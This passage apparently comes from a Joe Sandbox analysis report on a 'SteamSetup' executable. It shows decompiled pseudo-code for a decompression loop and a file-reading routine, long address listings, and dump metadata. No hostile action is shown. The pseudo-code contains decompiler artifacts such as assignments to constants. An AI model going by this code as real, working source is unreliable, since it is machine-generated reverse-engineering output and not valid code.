											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00406b4f
0x00406b4f
0x00406b53
0x00406b7c
0x00406b86
0x00406b55
0x00406b5e
0x00406b6b
0x00406b6e
0x00406eb2
0x00406eb2
0x00406eb5
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00406f03
0x00406f07
0x004070b6
0x004070cc
0x004070d4
0x004070db
0x004070dd
0x004070e4
0x004070e8
0x004070e8
0x00406f13
0x00406f1a
0x00406f22
0x00406f25
0x00406f28
0x00406f28
0x00406f2e
0x00406f2e
0x004066ca
0x004066ca
0x004066ca
0x004066d3
0x00000000
0x00000000
0x004066d9
0x00000000
0x004066e4
0x00000000
0x00000000
0x004066ed
0x004066f0
0x004066f3
0x004066f7
0x00000000
0x00000000
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406743
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00000000
0x00407035
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00406eb2
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00000000
0x00407044
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406846
0x00406848
0x0040684b
0x004068bc
0x004068bf
0x004068c2
0x004068c9
0x004068d3
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406eb2
0x0040684d
0x00406851
0x00406854
0x00406856
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x0040686e
0x00406872
0x00406879
0x0040687c
0x00406883
0x00406887
0x0040688f
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406893
0x00406896
0x004068b4
0x004068b6
0x00000000
0x00406898
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a3
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x00000000
0x004068af
0x00000000
0x00406ae5
0x00406ae9
0x00406b07
0x00406b0a
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b22
0x00406b29
0x00406b2a
0x00406b2c
0x00406b2f
0x00406b32
0x00406b35
0x00406b35
0x00406b3a
0x00000000
0x00406b3a
0x00406aeb
0x00406aee
0x00406af1
0x00406afb
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00000000
0x00000000
0x00000000
0x00406b92
0x00406b96
0x00000000
0x00000000
0x00406b9c
0x00406ba0
0x00000000
0x00000000
0x00406ba6
0x00406ba8
0x00406bac
0x00406bac
0x00406baf
0x00406bb3
0x00000000
0x00000000
0x00406c03
0x00406c07
0x00406c0e
0x00406c11
0x00406c14
0x00406c1e
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406eb2
0x00406c09
0x00000000
0x00000000
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00406c44
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00406c4d
0x00406c50
0x00406c57
0x00406c5c
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x004068df
0x004068df
0x004068e3
0x00407050
0x00000000
0x00407050
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x004068fe
0x00406901
0x00406904
0x00406904
0x00406907
0x0040690a
0x00000000
0x00000000
0x00406910
0x00406916
0x00000000
0x00000000
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697a
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x00406983
0x0040698a
0x0040698d
0x00000000
0x00406993
0x00000000
0x00406993
0x00000000
0x00406998
0x00406998
0x0040699c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069b7
0x004069ba
0x004069bd
0x004069bd
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e0
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0b
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a10
0x00406a17
0x00406a1a
0x00000000
0x00406a1c
0x00000000
0x00406a1c
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a21
0x00000000
0x00000000
0x00406a5c
0x00406a5c
0x00406a60
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7b
0x00406a7e
0x00406a81
0x00406a81
0x00406a87
0x00406a25
0x00406a25
0x00406a28
0x00000000
0x00406a28
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa4
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406acf
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406ad4
0x00406adb
0x00406ade
0x00000000
0x00406ae0
0x00000000
0x00406ae0
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00406b3d
0x00406b3d
0x00406b40
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00000000
0x00406e7c
0x00406e80
0x00406ea2
0x00406ea5
0x00406eaf
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406eb2
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8c
0x00406e8f
0x00000000
0x00000000
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00406f70
0x00406f70
0x00000000
0x00406f70
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00406e93
0x00406e93
0x00406e96
0x00000000
0x00000000
0x0040702a
0x0040702d
0x00406f2e
0x00000000
0x00000000
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00406c7b
0x00406c7e
0x00406c81
0x00406c83
0x00406c85
0x00406c85
0x00406c86
0x00406c89
0x00406c90
0x00406c93
0x00406ca1
0x00000000
0x00000000
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00000000
0x00406f86
0x00406f86
0x00406f8a
0x004070c2
0x00000000
0x004070c2
0x00406f90
0x00406f93
0x00406f96
0x00406f9a
0x00406f9d
0x00406fa3
0x00406fa5
0x00406fa5
0x00406fa5
0x00406fa8
0x00406fab
0x00406fab
0x00406fab
0x00406fab
0x00406fae
0x00406fae
0x00406fb2
0x00407012
0x00407015
0x0040701a
0x0040701b
0x0040701d
0x0040701f
0x00407022
0x00406f2e
0x00406f2e
0x00000000
0x00406f34
0x00406f2e
0x00406fb4
0x00406fba
0x00406fbd
0x00406fc0
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fee
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffb
0x00406ffd
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fdf
0x00406fe4
0x00406fe6
0x00406fe9
0x00406fe9
0x00407004
0x0040700b
0x00000000
0x0040700d
0x00000000
0x0040700d
0x00000000
0x00406ca9
0x00406cac
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00406a2b
0x00406a2b
0x00406a2f
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00000000
0x00000000
0x00406bb6
0x00406bb6
0x00406bba
0x00407080
0x00000000
0x00407080
0x00406bc0
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bec
0x00406bef
0x00406bf1
0x00406bf1
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00406bf4
0x00406bf4
0x00000000
0x00406bf4
0x00406e75
0x004070aa
0x00000000
0x00000000
0x004066d9
0x004070e1
0x004070e1
0x00000000
0x004070e1
0x00406f2e
0x00406eb5
0x00406eb2

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c673c2534040230f9089defbd7d825788091a80835a4c341425c1e948b069d
Instruction ID: 17f295adf0ba2181094cfffbed918b39bb4908eb68d6975640ddb9889f0749db
Opcode Fuzzy Hash: b9c673c2534040230f9089defbd7d825788091a80835a4c341425c1e948b069d
Instruction Fuzzy Hash: F2714531D04229CBEF28CF98C844BADBBB1FF44305F11816AD816BB291C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004031EF Relevance: 4.6, APIs: 3, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004031EF(intOrPtr _a4) {
				intOrPtr _t10;
				intOrPtr _t11;
				signed int _t12;
				void* _t14;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t31;
				long _t32;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t37;
				intOrPtr _t49;

				_t32 =  *0x418ed4; // 0x4aa46
				_t34 = _t32 -  *0x40ce40 + _a4;
				 *0x42a24c = GetTickCount() + 0x1f4;
				if(_t34 <= 0) {
					L22:
					E00402D9F(1);
					return 0;
				}
				E0040336E( *0x418ee4);
				SetFilePointer( *0x40a01c,  *0x40ce40, 0, 0); // executed
				 *0x418ee0 = _t34;
				 *0x418ed0 = 0;
				while(1) {
					_t10 =  *0x418ed8; // 0x22e6f9
					_t31 = 0x4000;
					_t11 = _t10 -  *0x418ee4;
					if(_t11 <= 0x4000) {
						_t31 = _t11;
					}
					_t12 = E00403358(0x414ed0, _t31);
					if(_t12 == 0) {
						break;
					}
					 *0x418ee4 =  *0x418ee4 + _t31;
					 *0x40ce60 = 0x414ed0;
					 *0x40ce64 = _t31;
					L6:
					L6:
					if( *0x42a250 != 0 &&  *0x42a2e0 == 0) {
						_t19 =  *0x418ee0; // 0x1e93a
						 *0x418ed0 = _t19 -  *0x418ed4 - _a4 +  *0x40ce40; // executed
						E00402D9F(0); // executed
					}
					 *0x40ce68 = 0x40ced0;
					 *0x40ce6c = 0x8000; // executed
					_t14 = E00406697(0x40ce48); // executed
					if(_t14 < 0) {
						goto L20;
					}
					_t36 =  *0x40ce68; // 0x412ad4
					_t37 = _t36 - 0x40ced0;
					if(_t37 == 0) {
						__eflags =  *0x40ce64; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t31;
						if(_t31 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x418ed4; // 0x4aa46
						if(_t16 -  *0x40ce40 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
						goto L22;
					}
					_t18 = E00405E05( *0x40a01c, 0x40ced0, _t37); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40ce40 =  *0x40ce40 + _t37;
					_t49 =  *0x40ce64; // 0x0
					if(_t49 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x004031f2
0x004031ff
0x00403212
0x00403217
0x00403347
0x00403349
0x00000000
0x0040334f
0x00403223
0x00403236
0x0040323c
0x00403242
0x0040324d
0x0040324d
0x00403252
0x00403257
0x0040325f
0x00403261
0x00403261
0x0040326a
0x00403271
0x00000000
0x00000000
0x00403277
0x0040327d
0x00403283
0x00000000
0x00403289
0x0040328f
0x00403299
0x004032af
0x004032b4
0x004032b9
0x004032bf
0x004032c5
0x004032cf
0x004032d6
0x00000000
0x00000000
0x004032d8
0x004032de
0x004032e0
0x00403303
0x00403309
0x00000000
0x00000000
0x0040330b
0x0040330d
0x00000000
0x00000000
0x0040330f
0x0040330f
0x00403322
0x00000000
0x00000000
0x00403331
0x00000000
0x00403331
0x004032ea
0x004032f1
0x0040333e
0x00403344
0x00403344
0x00000000
0x00403344
0x004032f3
0x004032f9
0x004032ff
0x00000000
0x00000000
0x00000000
0x00403342
0x00403342
0x00000000
0x00403342
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00403203

